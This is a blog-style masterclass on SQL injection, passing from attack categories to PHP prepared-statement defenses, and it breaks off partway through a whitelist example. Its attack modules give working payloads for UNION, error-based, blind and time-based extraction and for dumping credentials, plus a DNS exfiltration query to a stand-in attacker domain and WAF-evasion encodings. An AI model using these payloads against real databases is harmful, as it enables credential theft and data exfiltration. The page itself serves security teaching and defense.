The Definitive SQL Injection & Secure PHP Engineering Masterclass: Exhaustive Attack Vectors, UNION Exploits, Blind Injections, and Modern Defense Architecture

Harley August 29, 2026 107 reads

#blog-content-iframe { display: none !important; }

The Definitive SQL Injection & Secure PHP Engineering Masterclass: Exhaustive Attack Vectors, UNION Exploits, Blind Injections, and Modern Defense Architecture

Executive Overview & Threat Landscape Roadmap

In the domain of web application security, SQL Injection (SQLi - classified under CWE-89 and OWASP Top 10 A03:2021 Injection) remains one of the most critical and damaging software vulnerabilities. When an application concatenates untrusted user input directly into structured database queries, malicious actors can break out of the data context and alter the logical Abstract Syntax Tree (AST) of the SQL interpreter.

The consequences of a successful SQL injection attack are severe:

Total Authentication Bypass: Gaining administrative privileges without valid credentials.
Complete Data Exfiltration: Dumping entire database contents (passwords, credit cards, PII, intellectual property).
Arbitrary Data Modification & Deletion: Tampering with financial records, modifying balances, or dropping tables.
Remote Code Execution (RCE): Writing webshells to disk via INTO OUTFILE or executing system commands via stored procedures like xp_cmdshell.

This masterclass serves as the definitive reference guide for software engineers, penetration testers, and security auditors. We will deconstruct every category of SQL injection—In-Band UNION-based, Error-based, Boolean Blind, Time-based Blind, Second-Order, Out-of-Band, and Multi-Query injections—across major database management systems (MySQL, PostgreSQL, SQLite, Microsoft SQL Server, Oracle), followed by a comprehensive defensive blueprint in PHP (PDO & MySQLi) to engineer completely bulletproof applications.

TEXT

======================================================================================================
                              SQL INJECTION EXECUTION & DEFENSIVE GATEWAY                             
======================================================================================================

  [ Untrusted User Input: "admin' OR '1'='1" ]
        |
        +============================+
        |                            |
        v (Vulnerable Concatenation) v (Defensive PDO Prepared Statement)
  [ String Concatenation ]     [ Parameterized AST (PDO) ]
        |                            |
        v                            v
  [ Dynamic SQL Query ]        [ Pre-Compiled Statement Template ]
  SELECT * FROM users          SELECT * FROM users WHERE user = ?
  WHERE user = 'admin'         |--> Parameter 1: "admin' OR '1'='1" (Treated purely as literal data)
  OR '1'='1'                   |
        |                            v
        v (Query Logic Altered!)     [ SQL Interpreter (Data Separated from Code) ]
  [ Database Executes AST ]          |
  Returns entire user table!         v
  AUTHENTICATION BYPASSED!     Returns 0 rows. ATTACK COMPLETELY MITIGATED!

======================================================================================================

Module 1: The Foundations of SQL Injection (CWE-89)

To understand why SQL injection occurs, we must examine how SQL database engines parse and execute queries.

1.1 The Lexical Analysis & Abstract Syntax Tree (AST)

An RDBMS parses queries in two distinct phases:

Compilation / Lexing Phase: The SQL parser transforms the raw text string into tokens (Keywords: SELECT, FROM, WHERE, AND; Identifiers: users, id; Operators: =, >, <; Literals: 'alice', 42). It builds an Abstract Syntax Tree (AST) defining the query structure.
Execution Phase: The database engine runs the execution plan generated by the AST against the storage engine.

When developers use string concatenation:

PHP

<span class="token comment">// VULNERABLE INJECTION VECTOR</span>
<span class="token variable">$userId</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'id'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$query</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"SELECT username, email FROM users WHERE id = "</span> <span class="token operator">.</span> <span class="token variable">$userId</span><span class="token punctuation">;</span>
<span class="token variable">$result</span> <span class="token operator">=</span> <span class="token variable">$db</span><span class="token operator">-></span><span class="token function">query</span><span class="token punctuation">(</span><span class="token variable">$query</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

If the attacker passes 1 OR 1=1, the tokenizer parses OR as a logical operator keyword rather than literal data. The AST is rewritten at runtime to evaluate WHERE id = 1 OR 1=1, which evaluates to TRUE for every row in the table.

1.2 The Taxonomy of SQL Injection

SQL injection vectors are categorized into three primary architectural classes based on how data is retrieved:

SQLi Class	Method Name	Data Exfiltration Mechanism
In-Band (Classic)	UNION-Based	Attacker leverages `UNION SELECT` to attach auxiliary queries directly into the HTTP response.
In-Band (Classic)	Error-Based	Attacker forces database runtime exceptions that leak query results inside diagnostic error messages.
Inferential (Blind)	Boolean-Based	Attacker asks TRUE/FALSE questions, observing subtle differences in HTTP response text or status codes.
Inferential (Blind)	Time-Based	Attacker injects database sleep functions (`SLEEP()`, `pg_sleep()`) and measures server response latency.
Out-of-Band (OOB)	DNS / HTTP Channel	Attacker forces the database to initiate external network requests (DNS lookup / HTTP GET) to an attacker-controlled server.
Second-Order	Stored SQLi	Malicious payload is safely stored in the database initially, but executes unsafely when queried later by another feature.

Module 2: In-Band SQL Injection — UNION-Based Exploitation

UNION-based SQL injection is the most direct and efficient exfiltration method. The UNION operator allows an attacker to append the results of an arbitrary SELECT query to the original query.

2.1 The Two Fundamental Rules of UNION Queries

For a UNION operator to succeed, two strict RDBMS rules must be satisfied:

Exact Column Count: The injected SELECT statement must return the exact same number of columns as the original query.
Data Type Compatibility: The data types of corresponding columns must be compatible (e.g., placing text into a string-compatible column).

2.2 Phase 1: Column Count Enumeration

Attackers determine the number of columns using two distinct techniques:

Method A: ORDER BY Enumeration

The attacker increments the column index in ORDER BY until a database error occurs:

SQL

<span class="token string">' ORDER BY 1-- -   -- (Success: At least 1 column exists)
'</span> <span class="token keyword">ORDER</span> <span class="token keyword">BY</span> <span class="token number">2</span><span class="token comment">-- -   -- (Success: At least 2 columns exist)</span>
<span class="token string">' ORDER BY 3-- -   -- (Success: At least 3 columns exist)
'</span> <span class="token keyword">ORDER</span> <span class="token keyword">BY</span> <span class="token number">4</span><span class="token comment">-- -   -- (Error: "Unknown column 4" -> Table has exactly 3 columns!)</span>

Method B: NULL Injection

SQL

<span class="token string">' UNION SELECT NULL-- -
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span><span class="token comment">-- -</span>
' <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span><span class="token comment">-- -   -- (Success when column count matches!)</span>

2.3 Phase 2: Identifying String-Reflective Output Columns

Once the column count is established (e.g., 3 columns), the attacker determines which columns reflect on the web page:

SQL

<span class="token string">' UNION SELECT '</span>TEST1<span class="token string">', '</span>TEST2<span class="token string">', '</span>TEST3'<span class="token comment">-- -</span>

If 'TEST2' appears on the rendered HTML page, column 2 is the reflective extraction point.

2.4 Phase 3: Extracting Database Schema Metadata

MySQL & MariaDB Information Schema Payload:

SQL

<span class="token comment">-- Extract Current Database, User, and Version</span>
<span class="token string">' UNION SELECT 1, CONCAT(database(), 0x3a, user(), 0x3a, version()), 3-- -

-- Extract All Table Names in Database
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token number">1</span><span class="token punctuation">,</span> GROUP_CONCAT<span class="token punctuation">(</span>table_name SEPARATOR <span class="token string">', '</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3</span> <span class="token keyword">FROM</span> information_schema<span class="token punctuation">.</span><span class="token keyword">tables</span> <span class="token keyword">WHERE</span> table_schema<span class="token operator">=</span><span class="token keyword">database</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">-- -</span>

<span class="token comment">-- Extract All Column Names from 'users' Table</span>
<span class="token string">' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR '</span><span class="token punctuation">,</span> <span class="token string">'), 3 FROM information_schema.columns WHERE table_name='</span>users<span class="token string">'-- -

-- Dump Credentials (Username & Password Hash)
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token number">1</span><span class="token punctuation">,</span> GROUP_CONCAT<span class="token punctuation">(</span>username<span class="token punctuation">,</span> <span class="token number">0x3a</span><span class="token punctuation">,</span> password_hash SEPARATOR <span class="token number">0x0a</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3</span> <span class="token keyword">FROM</span> users<span class="token comment">-- -</span>

PostgreSQL Schema Payloads:

SQL

<span class="token comment">-- Extract Database Version & Current User</span>
<span class="token string">' UNION SELECT NULL, version() || '</span> : <span class="token string">' || current_user, NULL-- -

-- Extract Table Names
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> string_agg<span class="token punctuation">(</span>table_name<span class="token punctuation">,</span> <span class="token string">', '</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span> <span class="token keyword">FROM</span> information_schema<span class="token punctuation">.</span><span class="token keyword">tables</span> <span class="token keyword">WHERE</span> table_schema<span class="token operator">=</span><span class="token string">'public'</span><span class="token comment">-- -</span>

<span class="token comment">-- Dump User Credentials</span>
<span class="token string">' UNION SELECT NULL, string_agg(username || '</span>:<span class="token string">' || password, E'</span>\n'<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span> <span class="token keyword">FROM</span> users<span class="token comment">-- -</span>

SQLite Schema Payloads:

SQL

<span class="token comment">-- Extract SQLite Schema DDL</span>
<span class="token string">' UNION SELECT NULL, sql, NULL FROM sqlite_master WHERE type='</span><span class="token keyword">table</span><span class="token string">'-- -

-- Dump User Credentials
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> group_concat<span class="token punctuation">(</span>username <span class="token operator">||</span> <span class="token string">':'</span> <span class="token operator">||</span> password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span> <span class="token keyword">FROM</span> users<span class="token comment">-- -</span>

Microsoft SQL Server (MSSQL) Payloads:

SQL

<span class="token comment">-- Extract Version & Current User</span>
<span class="token string">' UNION SELECT NULL, @@version + '</span> : <span class="token string">' + user_name(), NULL-- -

-- Extract Table Names
'</span> <span class="token keyword">UNION</span> <span class="token keyword">SELECT</span> <span class="token boolean">NULL</span><span class="token punctuation">,</span> string_agg<span class="token punctuation">(</span>table_name<span class="token punctuation">,</span> <span class="token string">', '</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">NULL</span> <span class="token keyword">FROM</span> information_schema<span class="token punctuation">.</span><span class="token keyword">tables</span><span class="token comment">-- -</span>

Module 3: Error-Based SQL Injection

When the application displays database error diagnostics on the screen but does not reflect query results in the page body, Error-Based SQL Injection forces the database to embed the output of an arbitrary subquery inside the text of an error message.

3.1 MySQL Error-Based Vectors

1. ExtractValue() XML Function Injection

SQL

<span class="token string">' AND ExtractValue(1, CONCAT(0x7e, (SELECT user()), 0x7e))-- -
-- Database Error: "XPATH syntax error: '</span><span class="token operator">~</span>root<span class="token variable">@localhost</span><span class="token operator">~</span><span class="token string">'"

'</span> <span class="token operator">AND</span> ExtractValue<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> CONCAT<span class="token punctuation">(</span><span class="token number">0x7e</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">SELECT</span> table_name <span class="token keyword">FROM</span> information_schema<span class="token punctuation">.</span><span class="token keyword">tables</span> <span class="token keyword">WHERE</span> table_schema<span class="token operator">=</span><span class="token keyword">database</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">LIMIT</span> <span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0x7e</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">-- -</span>

2. UpdateXML() Injection

SQL

<span class="token string">' AND UpdateXML(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1), 0x7e), 1)-- -
-- Database Error: "XPATH syntax error: '</span><span class="token operator">~</span>pbkdf2_sha256$<span class="token keyword">hash</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token operator">~</span>'"

3. Duplicate Key Group-By (FLOOR / RAND) Collision

SQL

<span class="token string">' AND (SELECT 1 FROM (SELECT count(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS a)-- -
-- Database Error: "Duplicate entry '</span><span class="token number">8.0</span><span class="token number">.32</span>:<span class="token number">1</span><span class="token string">' for key '</span>group_key'"

3.2 PostgreSQL Error-Based Vectors

In PostgreSQL, forcing a type-conversion error from string to integer outputs the query string:

SQL

<span class="token string">' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -
-- Database Error: "invalid input syntax for type integer: '</span>supersecretpassword123'"

3.3 MSSQL Error-Based Vectors

SQL

<span class="token string">' AND 1=CONVERT(int, (SELECT TOP 1 password_hash FROM users))-- -
-- Database Error: "Conversion failed when converting the varchar value '</span>hash_value' <span class="token keyword">to</span> <span class="token keyword">data</span> <span class="token keyword">type</span> <span class="token keyword">int</span><span class="token punctuation">.</span>"

Module 4: Blind SQL Injection (Inferential Extraction)

When the web application suppresses all database error messages and does not reflect query results directly on the screen, attackers employ Inferential (Blind) SQL Injection.

4.1 Boolean-Based Blind SQL Injection

Boolean Blind injection relies on asking the database a series of binary (TRUE / FALSE) mathematical questions and observing changes in the application response (e.g., page content presence, HTTP status codes, or response length).

Character-by-Character Extraction Logic:

SQL

<span class="token comment">-- Question 1: Is the first letter of database name 'a'? (ASCII 97)</span>
<span class="token string">' AND ASCII(SUBSTRING(database(), 1, 1)) = 97-- -

-- Question 2: Is the first letter greater than '</span>m<span class="token string">' (ASCII 109)? (Binary Search)
'</span> <span class="token operator">AND</span> ASCII<span class="token punctuation">(</span>SUBSTRING<span class="token punctuation">(</span><span class="token keyword">database</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">109</span><span class="token comment">-- -</span>

<span class="token comment">-- Question 3: Is length of current user name equal to 4?</span>
' <span class="token operator">AND</span> LENGTH<span class="token punctuation">(</span><span class="token keyword">user</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token number">4</span><span class="token comment">-- -</span>

Python Binary Search Automation Concept:

PYTHON

<span class="token comment"># Concept: Binary search over ASCII range [32, 126]</span>
<span class="token keyword">def</span> <span class="token function">extract_char</span><span class="token punctuation">(</span>position<span class="token punctuation">)</span><span class="token punctuation">:</span>
    low<span class="token punctuation">,</span> high <span class="token operator">=</span> <span class="token number">32</span><span class="token punctuation">,</span> <span class="token number">126</span>
    <span class="token keyword">while</span> low <span class="token operator"><=</span> high<span class="token punctuation">:</span>
        mid <span class="token operator">=</span> <span class="token punctuation">(</span>low <span class="token operator">+</span> high<span class="token punctuation">)</span> <span class="token operator">//</span> <span class="token number">2</span>
        payload <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f"' AND ASCII(SUBSTRING((SELECT database()), </span><span class="token interpolation"><span class="token punctuation">{</span>position<span class="token punctuation">}</span></span><span class="token string">, 1)) > </span><span class="token interpolation"><span class="token punctuation">{</span>mid<span class="token punctuation">}</span></span><span class="token string">-- -"</span></span>
        response <span class="token operator">=</span> send_request<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
        <span class="token keyword">if</span> <span class="token string">"Welcome"</span> <span class="token keyword">in</span> response<span class="token punctuation">.</span>text<span class="token punctuation">:</span> <span class="token comment"># TRUE condition</span>
            low <span class="token operator">=</span> mid <span class="token operator">+</span> <span class="token number">1</span>
        <span class="token keyword">else</span><span class="token punctuation">:</span> <span class="token comment"># FALSE condition</span>
            high <span class="token operator">=</span> mid <span class="token operator">-</span> <span class="token number">1</span>
    <span class="token keyword">return</span> <span class="token builtin">chr</span><span class="token punctuation">(</span>low<span class="token punctuation">)</span>

4.2 Time-Based Blind SQL Injection

When the application returns identical responses for both TRUE and FALSE conditions, attackers introduce conditional time delays. If the injected statement evaluates to TRUE, the database pauses for a specified duration.

Database Time Delay Functions Matrix:

RDBMS	Time Delay Function	Example Conditional Payload
MySQL / MariaDB	`SLEEP(seconds)`	`' AND IF(ASCII(SUBSTRING(version(),1,1))=56, SLEEP(5), 0)-- -`
PostgreSQL	`pg_sleep(seconds)`	`'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--`
Microsoft SQL Server	`WAITFOR DELAY 'hh:mm:ss'`	`'; IF (1=1) WAITFOR DELAY '0:0:5'--`
SQLite	Heavy recursive calculation	`' AND (SELECT count(*) FROM (SELECT 1 UNION SELECT 2) a, (SELECT 1 UNION SELECT 2) b, ...)`
Oracle	`dbms_pipe.receive_message()`	`' AND 1=(CASE WHEN (1=1) THEN dbms_pipe.receive_message('RDS', 5) ELSE 1 END)--`

Module 5: Advanced & Edge-Case SQLi Vectors

5.1 Second-Order (Stored) SQL Injection

Second-Order SQLi occurs when an application correctly sanitizes or parametrizes an input during data insertion, but later retrieves the stored data from the database and passes it unsafely into a secondary dynamic query without parametrization.

TEXT

Step 1: Attacker registers account with username: admin'--
Step 2: Database stores username cleanly in 'users' table: [admin'--]
Step 3: User requests password change:
        UPDATE users SET password = '$newPassword' WHERE username = '$storedUser'
Step 4: Query expands to:
        UPDATE users SET password = '$newPassword' WHERE username = 'admin'--'
Result: The genuine administrator's password is reset!

5.2 Out-of-Band (OOB) SQL Injection

When direct extraction and blind timing are filtered, Out-of-Band injection forces the database to perform an outbound network lookup:

MySQL Windows UNC DNS Exfiltration:

SQL

<span class="token keyword">SELECT</span> LOAD_FILE<span class="token punctuation">(</span>CONCAT<span class="token punctuation">(</span><span class="token string">'\\\\'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">SELECT</span> password <span class="token keyword">FROM</span> users <span class="token keyword">LIMIT</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">'.attacker-domain.com\\share\\test.txt'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

The database attempts to resolve [password].attacker-domain.com, sending the exfiltrated password directly to the attacker's authoritative DNS server logs.

5.3 HTTP Header & Cookie Injections

Developers often forget that HTTP headers (User-Agent, X-Forwarded-For, Client-IP, Referer, Cookie) are untrusted inputs:

PHP

<span class="token comment">// VULNERABLE ANALYTICS LOGGER</span>
<span class="token variable">$ip</span> <span class="token operator">=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'HTTP_X_FORWARDED_FOR'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$ua</span> <span class="token operator">=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'HTTP_USER_AGENT'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$conn</span><span class="token operator">-></span><span class="token function">query</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"INSERT INTO visitor_logs (ip, user_agent, visited_at) VALUES ('<span class="token interpolation"><span class="token variable">$ip</span></span>', '<span class="token interpolation"><span class="token variable">$ua</span></span>', NOW())"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

An attacker sending X-Forwarded-For: 127.0.0.1', (SELECT password FROM users LIMIT 1), NOW())-- - compromises the system.

Module 6: WAF Evasion & Filter Obfuscation Matrix

Web Application Firewalls (WAFs) inspect incoming traffic for known signature patterns. Understanding evasion techniques ensures developers do not rely on fragile regex blacklists.

Evasion Technique	Standard Payload	Obfuscated WAF Bypass Payload
Space Filtering	`UNION SELECT 1,2`	`UNION//SELECT//1,2` or `UNION%09SELECT%0A1,2` or `(SELECT(1))UNION(SELECT(2))`
Case Insensitivity	`union select`	`uNiOn SeLeCt` or `UnIoN aLl SeLeCt`
Inline Comment Splitting	`UNION SELECT`	`UN//ION//SE/**/LECT`
Hex Encoding for Strings	`'admin'`	`0x61646d696e` or `CHAR(97,100,109,105,110)`
Logical Operator Replacement	`AND 1=1`	`&& 1=1` or `AND 2>1` or `BETWEEN 1 AND 1`
Double URL Encoding	`'` (`%27`)	`%2527` or `%25%32%37`

Module 7: The Definitive Defense: Securing PHP Applications

Blacklist filtering and string sanitization functions (like addslashes() or mysqli_real_escape_string()) are insufficient and prone to character-encoding bypasses (e.g., GBK multibyte character injection 0xbf27).

The only mathematically sound defense against SQL injection is the strict separation of Query Code from User Data via Prepared Statements (Parameterized Queries).

7.1 Prepared Statements with PHP Data Objects (PDO)

PDO is the standard, object-oriented database abstraction layer in modern PHP.

The Golden Rule: Disabling Emulated Prepares

By default, PDO in older PHP versions emulates prepared statements by concatenating escaped strings locally before sending them to MySQL. You must explicitly disable emulation to enforce true binary prepared statements on the database server:

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// SECURE PDO CONNECTION FACTORY</span>
<span class="token variable">$dsn</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"mysql:host=localhost;dbname=production_app;charset=utf8mb4"</span><span class="token punctuation">;</span>
<span class="token variable">$options</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
    <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_ERRMODE</span>            <span class="token operator">=></span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ERRMODE_EXCEPTION</span><span class="token punctuation">,</span>
    <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_DEFAULT_FETCH_MODE</span> <span class="token operator">=></span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">FETCH_ASSOC</span><span class="token punctuation">,</span>
    <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">ATTR_EMULATE_PREPARES</span>   <span class="token operator">=></span> <span class="token constant boolean">false</span><span class="token punctuation">,</span> <span class="token comment">// ENFORCES TRUE SERVER-SIDE PREPARED STATEMENTS!</span>
<span class="token punctuation">]</span><span class="token punctuation">;</span>

<span class="token keyword">try</span> <span class="token punctuation">{</span>
    <span class="token variable">$pdo</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">PDO</span><span class="token punctuation">(</span><span class="token variable">$dsn</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"db_user"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"SuperSecretPassword123!"</span><span class="token punctuation">,</span> <span class="token variable">$options</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">PDOException</span> <span class="token variable">$e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token comment">// Never expose raw exception messages in production!</span>
    <span class="token function">error_log</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Database Connection Failure: "</span> <span class="token operator">.</span> <span class="token variable">$e</span><span class="token operator">-></span><span class="token function">getMessage</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"A secure database error occurred. Please contact support."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></span>

Secure Positional & Named Parameter Binding:

PHP

<span class="token comment">// 1. Named Placeholders (Recommended for Clarity)</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"SELECT id, username, email FROM users WHERE email = :email AND status = :status"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">[</span>
    <span class="token string single-quoted-string">'email'</span>  <span class="token operator">=></span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'email'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'status'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'active'</span>
<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$user</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token comment">// 2. Explicit Type Binding (for strict validation)</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"SELECT id, title, price FROM products WHERE category_id = :catId AND price <= :maxPrice"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">bindValue</span><span class="token punctuation">(</span><span class="token string single-quoted-string">':catId'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword type-casting">int</span><span class="token punctuation">)</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'category'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">PARAM_INT</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">bindValue</span><span class="token punctuation">(</span><span class="token string single-quoted-string">':maxPrice'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword type-casting">float</span><span class="token punctuation">)</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'max_price'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token class-name static-context">PDO</span><span class="token operator">::</span><span class="token constant">PARAM_STR</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$products</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">fetchAll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

7.2 Prepared Statements with MySQLi

If using MySQLi, use parameterized statement objects:

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// SECURE MYSQLI PARAMETERIZED QUERY</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$mysqli</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"SELECT user_id, password_hash FROM users WHERE username = ? AND status = ?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$stmt</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
    <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Database prepare failed: "</span> <span class="token operator">.</span> <span class="token variable">$mysqli</span><span class="token operator">-></span><span class="token property">error</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

<span class="token variable">$username</span> <span class="token operator">=</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'username'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$status</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'active'</span><span class="token punctuation">;</span>

<span class="token comment">// "ss" = two string parameters ('i' for int, 'd' for double, 'b' for blob)</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"ss"</span><span class="token punctuation">,</span> <span class="token variable">$username</span><span class="token punctuation">,</span> <span class="token variable">$status</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$result</span> <span class="token operator">=</span> <span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">get_result</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$userData</span> <span class="token operator">=</span> <span class="token variable">$result</span><span class="token operator">-></span><span class="token function">fetch_assoc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$stmt</span><span class="token operator">-></span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>

7.3 Securing Dynamic SQL Identifiers (Table Names & Column Sorting)

Critical Limitation: Prepared statements can only parameterize Literal Values (strings, integers, booleans). You CANNOT use placeholders for table names, column names, or ASC/DESC keywords:

PHP

<span class="token comment">// THIS WILL THROW A SYNTAX ERROR OR FAIL TO BIND:</span>
<span class="token variable">$stmt</span> <span class="token operator">=</span> <span class="token variable">$pdo</span><span class="token operator">-></span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"SELECT * FROM users ORDER BY :column :direction"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// INVALID!</span>

The Solution: Strict Whitelist Arrays

PHP

<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// SECURE DYNAMIC IDENTIFIER WHITELISTING</span>
<span class="token variable">$allowedSortColumns</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
    <span class="token string single-quoted-string">'username'</span>   <span class="token operator">=></span> <span class="token string single-quoted-string">'users.username'</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'created_at'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'users.created_at'</span><span class="token punctuation">,</span>
    <span class="token string single-quoted-string">'email'</span>      <span class="token operator">=></span> <span class="token string single-quoted-string">'users.email'</span><span class="token punctuation">,</span>
